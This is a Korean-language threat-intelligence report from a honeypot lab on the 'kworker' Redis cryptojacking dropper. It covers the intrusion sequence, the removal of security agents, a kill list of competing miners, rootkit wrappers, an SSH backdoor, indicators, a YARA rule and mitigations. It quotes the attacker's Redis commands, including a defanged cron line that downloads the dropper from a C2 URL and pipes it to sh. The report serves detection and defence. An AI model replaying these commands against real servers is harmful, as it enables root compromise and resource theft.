이 페이지는 번역본입니다. 공식 원문은 영어판입니다. 영어로 읽기
malware · cryptomining · redis · linux · honeypot · monero · 8220-gang · xmrig · worm
Kworker: 자체 제거 도구를 들고 오는 크립토마이너
Kinryū Labs는 8220 계열 크립토재킹 악성코드가 암호 없이 열려 있던 Redis 포트를 약 5초 만에 root 셸로 바꾸는 과정을 포착했다. kworker라는 이름의 636줄짜리 셸 스크립트 드로퍼는 Alibaba와 Tencent의 클라우드 보안 에이전트를 해당 벤더 자체 도구로 제거하고, 경쟁 마이너를 죽이는 데 200줄을 소비하며, SSH에 백도어를 심고, 위조된 ps·top·pstree 뒤에 XMRig Monero 마이너를 숨긴 뒤 다른 호스트로 확산을 시도한다.
작성자 Davis Zheng·
TLP:CLEAR. 공개 배포 승인됨. Kinryū Labs 허니팟 센서 네트워크가 수집했다. 아래 지표는 디팽 처리되어 있다.
핵심 요약
- 약 5초열린 Redis 포트에서 네 개의 root cron 백도어까지
- 636줄의 bash, 완전한 호스트 장악 키트
- 2개의 벤더 제거 도구를 base64로 내장
- 80+개의 경쟁 마이너가 킬 리스트에 등재
UTC 자정 6분이 지난 시각, 무언가가 우리 허니팟 중 하나의 Redis 포트로 연결을 열고 INFO 하나를 실행해 상대가 무엇인지 확인한 뒤 연결을 끊었다. 2초 후 다시 접속해 본격적으로 작업에 들어갔다. 연결을 끊을 때까지 총 5초 동안, 서버의 cron 테이블을 네 가지 방식으로 다시 작성했고 그 모두를 같은 파일 하나로 향하게 했다. kworker라는 이름의 셸 스크립트다.
우리는 이것을 실행시키지 않았다. 스크립트는 실행되지 않았으며, 우리가 확보한 것은 스크립트 자체와 공격자의 명령 시퀀스다. 따라서 남은 것은 636줄 전체의 스크립트와 공격자의 전체 명령 시퀀스다. 이 둘을 함께 읽으면 2026년 현재 상용 Linux 크립토재킹이 도달한 지점의 깔끔한 단면이 드러나며, kworker는 좋은 표본이다. 이 장르가 지금까지 고안해 낸 거의 모든 것을 수행하기 때문이다. 그리고 한 가지는 완전히 태연한 얼굴로 수행한다. 안티바이러스 벤더 자신의 제거 도구를 사용해 안티바이러스를 제거하는 것이다.
- 8220 Gang / kworkerds 계열의 상용 크립토재킹이며, 기회주의적이고 표적화되지 않았다(중간 신뢰도). Redis 전달 방식, 이름이 바뀐 다운로드 도구,
/etc/javae락 파일, 방대한 킬 리스트 모두가 이 계열의 특징이다. 신뢰도를 중간에 두고 그 이상으로 올리지 않는 이유는, 이것이 여러 조직 사이에서 돌려 쓰고 재판매되는 광범위하게 포크된 코드이기 때문이다. 즉 이 이름은 단일 제작자가 아니라 계열을 가리킨다. - 목표는 Monero 채굴이다(높은 신뢰도). 스크립트의 존재 목적 전체는 huge pages를 활성화한 뒤 XMRig 빌드인
javae를 가져와 실행하는 것이다. 나머지는 모두 무대를 비우고 호스트를 유지하기 위해 존재한다. - 주말에 만든 개인 프로젝트가 아니라 성숙하고 충분히 사용된 소프트웨어다(높은 신뢰도). 침입 단계의 cron 라인 자체가
cd1과wd1을 호출하는데, 이 도구들은 kworker가 설치된 이후에야 존재한다. 키트가 이미 자기 자신의 존재를 전제하고 있으며, 이는 한동안 유통되어 온 코드의 표식이다. - 지갑이 빠져 있는 것은 의도적이다(높은 신뢰도). 스크립트에는 Monero 주소도 풀 정보도 없다. 둘 다 마이너 바이너리 안에 있으며, 우리는 그것을 확보하지 못했다. 이 조직의 캠페인들을 하나로 묶어 줄 유일한 세부 정보가 정확히 그들이 스크립트에서 빼놓는 항목이며, RedTail에서 부딪혔던 것과 같은 벽이다.
FLUSHALL, 그리고 cron으로 가는 네 갈래 길
암호 없이 인터넷에 열려 있는 Redis는 수년간 한 줄짜리 root 셸이었고, 여기서 쓰인 기법도 오래된 확실한 방식이다. 값이 cron 작업인 데이터베이스 키를 설정한다. Redis에게 데이터베이스를 cron 폴더에 저장하라고 지시한다. SAVE를 호출한다. Redis는 데이터베이스를 디스크에 쓰고, 여기에 가짜 cron 작업이 포함되며, 1분 뒤 cron이 그것을 root 권한으로 실행한다. 이번 방문자는 서버를 식별하고, 파일을 쓸 수 있는지 확인하고, 저장 실패 시 동작을 멈추는 안전장치를 끈 뒤 이 수법을 실행했다.
# what the visitor sent to Redis (abbreviated, defanged)
SET backup1 "*/2 * * * * cd1 -fsSL hxxps://download.logltech[.]workers[.]dev/up/down/api/kworker | sh"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
침입 전체는 몇 초 안에 끝난다.
- 00:06:00 UTC접속, 서버 식별을 위해
INFO하나 전송, 연결 종료. - +2초재접속. 각각 cron 라인을 담은 키 네 개 설정.
CONFIG SET dir로 cron 폴더 지정,CONFIG SET dbfilename으로 대상 cron 파일 지정, stop-writes-on-bgsave-error 비활성화, 이어서SAVE. - 총 +5초연결 종료. cron 백도어 네 개가 심어졌고, 모두 `kworker`를 가리킨다.
- +1분실제 호스트라면 cron이 심어진 라인을 root로 실행해
kworker를 내려받는다.
여기서 눈여겨볼 만한 것은 중복성이다. cron 작업 하나를 쓴 것이 아니라, 같은 명령을 /var/spool/cron/root, /var/spool/cron/crontabs, /etc/cron.d/javae, /etc/crontab 네 곳에 기록해 Red Hat과 Debian 양쪽 배치 방식과 두 가지 cron 문법을 모두 커버했다. 각 라인은 cd1, wget, curl, wd1이라는 서로 다른 도구로 kworker를 내려받으며, 2분, 3분, 4분, 5분으로 시차를 둔 일정으로 동작한다. 이 중 두 이름은 실제 프로그램이 아니다. cd1과 wd1은 kworker가 설치된 뒤 curl과 wget의 이름을 바꿔 놓은 것이다. 침입 단계가 이미 곧 내려받을 스크립트의 존재를 전제하고 있다. 키트 전체가 내부적으로 일관되어 있으며, 이것이 바로 주말에 만든 개인 프로젝트가 아니라 성숙하고 충분히 사용된 소프트웨어임을 알 수 있는 지점이다.
제거 도구는 직접 들고 온다
root 권한을 확보한 순간부터 kworker는 건물을 해체하기 시작한다. 방화벽 규칙을 비우고, ufw를 끄고, SELinux를 permissive로 낮춘 뒤 설정 파일에서 아예 비활성화하고, AppArmor를 중지시키고, 커널의 NMI 워치독을 끈다. 마지막 항목이 중요한 이유는 마이너가 몇 주 동안 CPU를 100퍼센트로 붙들어 두는데, 워치독이 그것을 알아챌 수 있는 몇 안 되는 장치 중 하나이기 때문이다. /var/log/syslog는 통째로 삭제된다.
그다음 클라우드 보안 에이전트를 찾아 나서는데, 여기서부터 스크립트는 평범하기를 멈춘다. 중국 대형 클라우드 사업자들은 자사 VM에 호스트 에이전트를 기본 탑재한다. Alibaba의 Aegis는 AliYunDun이라는 이름으로 실행되고, Tencent의 YunJing, Huawei의 HostGuard가 있다. kworker는 각각을 확인한다. Alibaba 에이전트를 발견하면 단순히 프로세스를 죽이는 데 그치지 않는다. Alibaba의 공식 제거 스크립트를 실행하며, Alibaba로 돌아가는 경로가 없는 호스트에서도 동작하도록 Alibaba의 제거 스크립트 두 개를 base64로 인코딩해 자기 안에 담고 다닌다. 우리는 둘 다 디코딩했다. kprobe 트레이싱 해제까지 포함해 진짜 원본이다.
벤더가 의도한 방식 그대로 엔드포인트 보호 제품을 깔끔하게 제거하고, 로그까지 정돈해 둔다.
이것은 즉흥적인 작업이 아니다. 누군가 실제 Aliyun 호스트 앞에 앉아 제거 도구를 그대로 가져와 스크립트에 짜 넣은 것이다.
bash로 쓰인 영역 다툼
이런 스크립트를 처음 읽어 본다면 놀라운 점은 상당 부분이 다른 범죄자를 겨냥하고 있다는 사실이다. 마이너의 진짜 적은 시스템 관리자가 아니라 같은 CPU를 빌리려는 다음 마이너다. kworker는 대략 200줄을 경쟁자 사냥에 쓰며, 잡을 수 있는 모든 단서를 기준으로 죽인다.
- 프로세스 이름 기준, 100개가 넘는 차단 목록에서:
xmrig,kinsing,kdevtmpfsi,watchdogs와watchbog계열,ddg,sustes, 그리고 자기 이름의 조상격인 구형kworkerds. - 포트 기준, 채굴 풀과 IRC 봇이 사용하는 포트들.
- 하드코딩된 IP 주소 기준.
- CPU 기준, 무딘 도구: 인식하지 못하는 이름으로 프로세서를 40퍼센트 넘게 소모하는 것은 무엇이든 죽인다. CPU를 잡아먹는 정체불명 프로세스는 정의상 경쟁 마이너라는 논리다.
경쟁자의 파일을 /tmp와 /dev/shm에서 삭제하고, cron 작업을 제거하고, 일부가 설치하는 preload 루트킷을 없애며, Docker 안까지 손을 뻗어 알려진 채굴 이미지를 중지하고 삭제한다. 이는 RedTail의 clean 스크립트와 Rootpacket의 killservice.sh에서 우리가 기록했던 것과 같은 영역 쟁탈이다. 이들 조직은 모두 같은 잘못 구성된 호스트를 두고 싸우고 있으며, 모두 무대를 쓸어내는 것으로 작업을 시작한다.
또한 구체적이고 반복적으로 TeamTNT에게 무례하다. TeamTNT가 수행하는 curl과 wget 이름 변경을 되돌리고 그 디렉터리를 지워 버린다. Kinsing을 죽일 때는 파일을 fuckyou라는 단어로 덮어쓴 뒤 잠가서 Kinsing이 스스로를 복구하지 못하게 한다. 여기에 의리 같은 것은 없고 영역 쟁탈만 있으며, kworker는 대부분보다 더 거칠게 한다.
목록을 자세히 읽으면 경쟁자들이 어떻게 숨는지에 대한 카탈로그가 된다. 한 무리는 kacpi_svc, kswap_svc, kthreadd_svc, ksoftirqd_svc처럼 커널 스레드로 위장하고, 다른 무리는 polkitd, acpid, dbus-daemon--system, 그리고 L이 들어갈 자리에 대문자 I가 들어간 systemctI처럼 시스템 데몬으로 위장한다. kworker는 경쟁자들이 입은 위장을 정확히 겨냥해 사냥하는데, 이는 몇 줄 뒤 자신이 javae를 systemd-network나 irqbalanced 같은 이름 사이에 숨길 때 꺼내 드는 바로 그 위장이다. 이 싸움의 모두가 지루한 시스템 잡음으로 분장하고 있으며, 모두가 서로의 의상을 외우고 있다.
몇몇 대상은 아예 이름이 아니다. 하나는 L2Jpbi9iYXN으로, /bin/bash 명령의 base64 선두 부분이다. kworker는 프로세스 테이블에서 이 인코딩된 접두사를 grep해, 명령줄에 박힌 base64 덩어리로 경쟁자의 로더를 잡아낸다.
전체 목록은 상당히 길어 죽이고 싶은 프로세스를 지칭하는 방법이 100가지가 넘으며, 이 반목의 질감을 느끼기 위해서라도 한 번 훑어볼 가치가 있다.
포착된 스크립트에서 추출한 전체 킬 리스트
kill_miner_proc, kill_sus_proc, Docker 정리 부분에서 발췌했다. 여기 있는 모든 항목은 kworker가 사냥하는 대상이며, 자신의 인프라가 아니다. IP는 디팽 처리되어 있다.
프로세스를 무조건 죽이는 포트 (채굴 풀, IRC 봇, RAT, 대체 SSH 및 Telnet): 23, 143, 2222, 3333, 3347, 3389, 5555, 6665, 6666, 6667, 7777, 8444, 10008, 13531.
식별 가능한 마이너 및 봇넷 계열: xmrig, xmrig-cpu, xmrig-notls, xmr-stak, mstxmr, cnrig, minerd, minergate, cryptonight, crypto-pool, moneroocean, kinsing, kdevtmpfsi, kworkerds, kworker34, watchdogs, watchd0g, watchbog, ddg, ddg.2011, sustes, sustse, sustse3, kthrotlds, ksoftirqds, tntrecht (TeamTNT), nanoWatch, sourplum, disk_genius, biosetjenkins, nullcrew.
커널 스레드로 위장한 경쟁자: kacpi_svc, kswap_svc, kauditd_svc, kpsmoused_svc, kseriod_svc, kthreadd_svc, ksoftirqd_svc, kintegrityd_svc, kblockd_svc, native_svc.
시스템 데몬으로 위장한 경쟁자: polkitd, acpid, dbus-daemon--system, irqbalance, irqbalanc1, crond64, nginxk, vmlinuz, systemctI (systemctl이 아니라 대문자 i), systemten, systemxlv, svcupdate, netdns, netns, redis2, rsync, httpgd, haveged, voltuned, nqscheduler.
그 밖에 이름이 붙은 페이로드, 스크립트 및 캠페인별 표식: apaceha, apachiii, mixnerdx, mixtape, performedl, conns, mgwsl, pythno, jweri, lx26, i586, gddr, askdljlqw, ysaydh, bonns, donns, kxjd, nopxi, deamon, zigw, devtool, devtools, suppoie, exin, xr, jawa, ynn, servim, darwin, sysstats, Loopback, XJnRj, NXLAi, BI5zj, icb5o, wnTKYg, 2t3ik, qW3xT.2, hahwNEdB, CnzFVPLF, CvKzzZLs, OIcJi1m, IOFoqIgyC0zmf2UR, 65ccEJ7, jmxx, 2Ne80nA, C4iLM4L, Guard.sh, Duck.sh, bonn.sh, conn.sh, kw.sh, pro.sh, mr.sh, 2mr.sh, cr5.sh, he.sh, miner.sh, l.sh, z3.sh, lower.sh, ndt.sh, logo9.jpg, oracle.jpg, init10.cfg, init12.cfg, j2.conf, zer0day.ru, gitee.com.
난독화된 실행기와 투하된 설정 파일: ./ppp, ./vsp, ./jvs, ./pvv, ./vpp, ./pces, ./rspce, ./jiba, ./haveged, ./watchbog, ./servceaess와 철자가 틀린 변형들, mwyumwdbpq.conf, honvbsasbf.conf, mqdsflm.cf, /wl.conf, wc.confz, 그리고 base64 크레이들 표식인 L2Jpbi9iYXN (/bin/bas... 원라이너의 시작 부분).
발견 즉시 사살하는 경쟁자 풀 및 C2 IP: 45.76.122[.]92, 51.38.191[.]178, 51.15.56[.]161, 104.248.4[.]162, 89.35.39[.]78, 107.174.47[.]156, 107.174.47[.]181, 83.220.169[.]247, 51.38.203[.]146, 144.217.45[.]45, 176.31.6[.]16, 46.243.253[.]15, 200.68.17[.]196, 188.209.49[.]54, 181.214.87[.]241, 121.42.151[.]137.
중지하고 삭제하는 Docker 이미지 및 컨테이너: pocosow, gakeaws, azulu, auto, xmr, mine, slowhttp, bash.shell 이름의 컨테이너, 그리고 pocosow, gakeaws, buster-slim, hello-, azulu, registry, xmr, monero, mine, slowhttp 이미지 참조.
그리고 무딘 도구: javae와 일치하지 않으면서 CPU 40퍼센트를 넘는 것은 무엇이든 죽이며, 대괄호로 감싼 커널 스레드처럼 보이는 이름으로 10퍼센트를 넘는 것, /tmp에서 실행 중인 것, 이름이 의심스럽게 긴 프로세스도 마찬가지다.
이제 보이지 않는다
무대를 정리한 뒤에는 자기편 선수를 숨긴다. ps, top, pstree를 두 줄짜리 래퍼로 교체하는데, 이 래퍼는 진짜 바이너리를 호출한 뒤 마이너(javae)나 함께 배포되는 스캐너(pnscan)가 언급된 줄을 조용히 걸러 낸다. 그리고 새것으로 보이지 않도록 가짜 파일의 타임스탬프를 2016년으로 되돌린다. 감염된 호스트에서 ps를 실행하면 마이너는 그냥 목록에 없다.
마이너의 이름 자체도 프로세스 테이블에 섞여 들도록 지어졌다. javae는 systemd-network, irqbalanced, kswaped 같은 이름으로 심어진 락 파일들 옆에 자리하며, 하나하나가 지루한 시스템 잡음처럼 읽히도록 선택되었다.
키 하나, 그리고 이웃으로 가는 길
장악을 마무리하는 두 가지 동작이 더 있다.
주석이 그냥 uc1인 운영자의 SSH 공개 키를 root의 authorized_keys에 기록하고 해당 파일을 immutable로 만든다. 따라서 알아차리는 것만으로는 충분하지 않고, 삭제하려면 먼저 immutable 비트를 해제해야 한다. 이는 마이너가 정리된 뒤에도 남는 직접 접근 경로다.
그다음 확산을 시도한다. root의 known_hosts, 즉 이 호스트가 접속했던 모든 장비 목록을 읽고, 디스크에 이미 존재하는 키를 사용해 각각에 SSH 접속을 시도하며, 접속을 허용하는 곳에서는 백업 주소로부터 kworker를 내려받아 이 이야기 전체를 처음부터 다시 시작하는 원라이너를 실행한다. 빠른 웜은 아니고 암호 없는 키가 방치되어 있다는 점에 기대지만, 보통 그런 상태인 규모의 인프라에서는 그것으로 충분하다.
마이너, 그리고 확보하지 못한 지갑
이 모든 장치에도 불구하고 실제 수익원은 단조롭다. Monero를 채굴하는 XMRig 빌드인 두 번째 파일 javae다. kworker는 huge pages를 켜고(vm.nr_hugepages를 128로 설정하며, XMRig의 표준적인 속도 향상 방법이다), javae를 /etc에 투하한 뒤 실행한다.
이 보고서의 공백은 여기다. 우리는 javae를 확보하지 못했고 지갑도 확보하지 못했다. 스크립트에는 Monero 주소도 풀도 없다. 둘 다 실행 시점에 내려받는 마이너 바이너리에 박혀 있는데, C2는 이 샘플을 살펴본 어떤 공개 샌드박스에도 그것을 제공하지 않았으므로 수동적으로 분해할 대상이 없다. kworker만 단독으로 분석하는 사람은 누구나 같은 벽에 부딪힌다. 지갑은 이 조직의 캠페인들을 하나로 묶어 줄 유일한 단서이며, 정확히 그들이 스크립트에서 빼놓는 항목이다.
Cloudflare 호스팅, 의도적 선택
스크립트와 마이너 모두 Cloudflare Workers 주소인 download.logltech[.]workers[.]dev에서 온다. 이는 의도적인 선택이다. Workers는 무료이고, 기본적으로 HTTPS이며, Cloudflare의 평판을 빌려 도메인 차단 목록을 무사히 통과하고, 운영자가 실제로 통제하는 오리진이 무엇이든 감춰 준다. 모든 페이로드 URL은 Cloudflare로 해석되며, 운영자의 실제 오리진은 결코 노출되지 않는다.
웜이 사용하는 백업 채널은 2월 말에 등록된 tutorial.clashverge[.]space다. 스크립트에 하드코딩된 나머지 IP 주소는 전부 kworker가 죽이려는 경쟁자의 것으로, Vultr, OVH, DigitalOcean 호스트와 항저우의 Alibaba Cloud 호스트 하나에 흩어져 있으며, 이 운영자의 것은 전혀 아니다. 하드코딩된 IP는 인프라가 아니라 표적 목록으로 읽어야 한다.
누구의 것인가
조심스럽게 접근하자. 이것은 통상 8220 Gang 또는 kworkerds로 분류되는 계열의 상용 크립토재킹이다. 표식은 모두 있다. Redis cron 인젝션 전달 방식, curl을 cd1로 바꾸는 이름 변경, /etc/javae 락 파일, pnscan 확산 도구, 거대한 킬 리스트. 안티바이러스 엔진들은 이름에 합의하지 못하는데, 그 자체가 요점이다. ClamAV는 Rocke라 부르고, Rising은 TeamTNT로 태그하며, 나머지는 그냥 CoinMiner라고 한다. 이런 스크립트는 여섯 개 남짓한 조직을 거치며 복사되고 병합되고 재판매되며, kworker는 자신과 친척 관계인 계열 중 여럿을 죽인다.
이 계열은 지문이 아니라 동네로 취급하라.
중국 클라우드 에이전트에 대한 집중과, VirusTotal이 같은 샘플과 연결 짓는 Windows PowerShell 형제 악성코드가 그림을 채워 주지만, 안전한 진술은 절제된 쪽이다. 광범위하게 포크되었고, 금전적 동기이며, 표적화되지 않았고, 새롭지 않다. 중간 신뢰도이고, 그 자리가 적절하다.
침해 지표
네트워크
| 지표 | 맥락 |
|---|---|
download.logltech[.]workers[.]dev | C2 (주), Cloudflare Workers. /up/down/api/{kworker, javae, cb.txt} 제공 |
tutorial.clashverge[.]space | C2 (백업), 웜이 사용. 2026년 2월 27일 등록 |
170.9.225[.]197 | Redis 허니팟에 접속한 출발지 IP |
*.workers.dev 호스트 + /up/down/api/ 하위 경로 GET | 네트워크 단에서 주의 깊게 볼 만한 페이로드 다운로드 패턴 |
파일 (SHA-256 / MD5)
| 파일 | SHA-256 | MD5 |
|---|---|---|
kworker (드로퍼) | 7420e819e6cf6d7608e475468ae0160185fe7eed0b5b4129aad3e8dabc776e30 | 501ec2da3039ebe4ca379f663232176a |
javae (XMRig 마이너) | 확보하지 못함, 5,685,096바이트로 추정 |
SSH 백도어 키: 주석 uc1, 공개 키 지문 SHA256:VG0G5YwuzVAQW5JrC9RukA6Pynj3AwnFhWPCKp6TfVY. 전체 자산의 authorized_keys에서 이를 탐색하라.
호스트 아티팩트
| 경로 | 맥락 |
|---|---|
/etc/kworker, /etc/javae, /etc/cron.d/javae, /tmp/{kworker,javae} | 투하된 파일 |
/usr/bin/cd1 (원래 curl), /usr/bin/wd1 (원래 wget) | 이름이 바뀐 다운로드 도구 |
/bin/ps.original, /bin/top.original, /bin/pstree.original | 트로이목마화된 래퍼 뒤에 보관된 실제 바이너리 |
/usr/bin/{kswaped, pamdicks, ip6network, irqbalanced, rctlcli, systemd-network} | immutable, 한 자리 숫자 크기의 이름 선점 락 파일 |
vm.nr_hugepages = 128 | XMRig를 위한 huge pages 활성화 |
행위 기반
- 실제로는
grep -v로 파이프하는 셸 스크립트인ps,top,pstree. - 작성한 적 없는
authorized_keys, 끝에uc1주석이 붙어 있음. sh /etc/kworker또는sh /tmp/kworker를 실행하는 cron 작업, 그리고 존재해서는 안 되는/etc/cron.d/javae./usr/bin/kswaped및 그 유사 경로의 immutable한 한 자리 숫자 크기 파일.cd1과wd1로 이름이 바뀐curl과wget.- 조용히 128로 설정된
vm.nr_hugepages.
탐지
호스트 측 흔적은 일단 알고 나면 요란하며, 위에 정리해 두었다. 네트워크 단에서는 *.workers.dev 호스트를 해석하고 /up/down/api/ 하위 경로를 요청하는 트래픽이라면 무엇이든 면밀히 살펴볼 가치가 있다. 다음은 안정적인 문자열에 반응하는 YARA 규칙이다. 탐지 목적으로 의도적으로 실제 문자열을 포함하고 있다.
rule kworker_cryptojacker_sh
{
meta:
description = "Linux kworker/javae cryptojacking installer (Redis XMRig dropper)"
author = "Kinryu Labs honeypot CTI"
reference = "7420e819...776e30" // full SHA-256 in the IOC table
tlp = "CLEAR"
strings:
$c2_1 = "download.logltech.workers.dev" ascii
$c2_2 = "tutorial.clashverge.space" ascii
$api = "/up/down/api/kworker" ascii
$lock = "/etc/javae" ascii
$miner = "miner_size=\"5685096\"" ascii
$ren1 = "mv /usr/bin/curl /usr/bin/cd1" ascii
$ren2 = "mv /usr/bin/wget /usr/bin/wd1" ascii
$bin1 = "/usr/bin/pamdicks" ascii
$bin2 = "/usr/bin/kswaped" ascii
$bin3 = "/usr/bin/rctlcli" ascii
$fn1 = "kill_miner_proc" ascii
$fn2 = "download_file_if_needed" ascii
$hide = "javae\\|pnscan" ascii
$ssh = "9p8zIVKLUHMUNC9mKqPljzxH" ascii // fragment of the uc1 key
condition:
filesize < 256KB and (
$ssh or any of ($c2_1, $c2_2) or
($api and $lock) or
($miner and 1 of ($ren1, $ren2)) or
(2 of ($bin1, $bin2, $bin3) and 1 of ($fn1, $fn2, $hide))
)
}
무엇을 바꿔야 하는가
이 중 어느 것도 정교하지 않으며, 그것이 교훈이다. kworker가 침투한 이유는 Redis 포트가 암호 없이 열려 있었기 때문이다. 2018년의 실수가 2026년에도 여전히 수익을 낸다. 그 이후의 모든 것, EDR 제거와 루트킷과 웜은 현관문이 잠겨 있지 않았기 때문에 비로소 의미를 가졌다.
- Redis를, 그리고 어떤 데이터 저장소도 인터넷에 노출하지 말고, 인증을 요구하도록 설정하라. 열린 서비스 하나를 단일 서비스 침해가 아니라 호스트 전체 침해로 취급하라.
- cron과
authorized_keys를 프로덕션 코드처럼 감시하라. 공격자에게는 그것이 정확히 프로덕션 코드이기 때문이다. - 호스트의 클라우드 에이전트를 안전망으로 여기지 말라. kworker의 첫 번째 본능은 벤더 자신의 도구를 사용해, 정중하게, 그것을 제거하러 가는 것이었다.
MITRE ATT&CK 매핑
| 전술 | 기법 |
|---|---|
| Initial Access | T1190 Exploit Public-Facing Application (Redis) |
| Execution | T1059.004 Unix Shell |
| Persistence | T1053.003 Cron; T1098.004 SSH Authorized Keys |
| Defense Evasion | T1562.001 Impair Defenses: Disable or Modify Tools (클라우드 에이전트 및 EDR 제거); T1562.004 Disable or Modify System Firewall; T1070.002 Clear Linux or Mac System Logs; T1014 Rootkit (트로이목마화된 ps/top/pstree); T1036.005 Masquerading: Match Legitimate Name; T1222.002 Linux File and Directory Permissions Modification (chattr +i); T1070.006 Timestomp (타임스탬프를 과거로 되돌린 위조 파일) |
| Discovery | T1057 Process Discovery (경쟁자 사냥); T1518.001 Security Software Discovery (클라우드 에이전트); T1046 Network Service Scanning (pnscan) |
| Lateral Movement | T1021.004 Remote Services: SSH; T1570 Lateral Tool Transfer |
| Command and Control | T1071.001 Web Protocols; T1102 Web Service (Cloudflare Workers); T1105 Ingress Tool Transfer |
| Impact | T1496 Resource Hijacking (Monero 채굴) |
방법론 및 분석가 노트
- 분석은 정적이고 수동적으로 수행했다. 드로퍼는 한 번도 실행하지 않았으며 공격자 인프라에 접속한 적도 없다. 결과는 포착된 636줄 스크립트를 전부 읽고, 내장된 base64 제거 도구를 디코딩하고, 기록된 Redis 세션을 검토해 도출했다.
- 위 지표는 디팽 처리되어 있다. YARA 규칙은 탐지를 위해 의도적으로 실제 문자열을 포함한다.
- 2단계 마이너(
javae)와 Monero 지갑은 확보하지 못했다. 스크립트에는 둘 다 없으며, 실행 시점에 내려받는 마이너 바이너리 안에 있는데 C2는 공개 샌드박스에 이를 제공하지 않았다. 지갑을 확보하려면 네트워크 캡처를 동반한 실제 실행이 필요한데, 우리는 그것을 수행하지 않았다. - 샘플(드로퍼와 디코딩된 제거 도구)은 요청 시 다른 연구자 및 방어자에게 제공한다. 본인이 누구이고 무엇에 필요한지 간단히 적어 contact@kinryu.sh로 메일을 보내면 된다.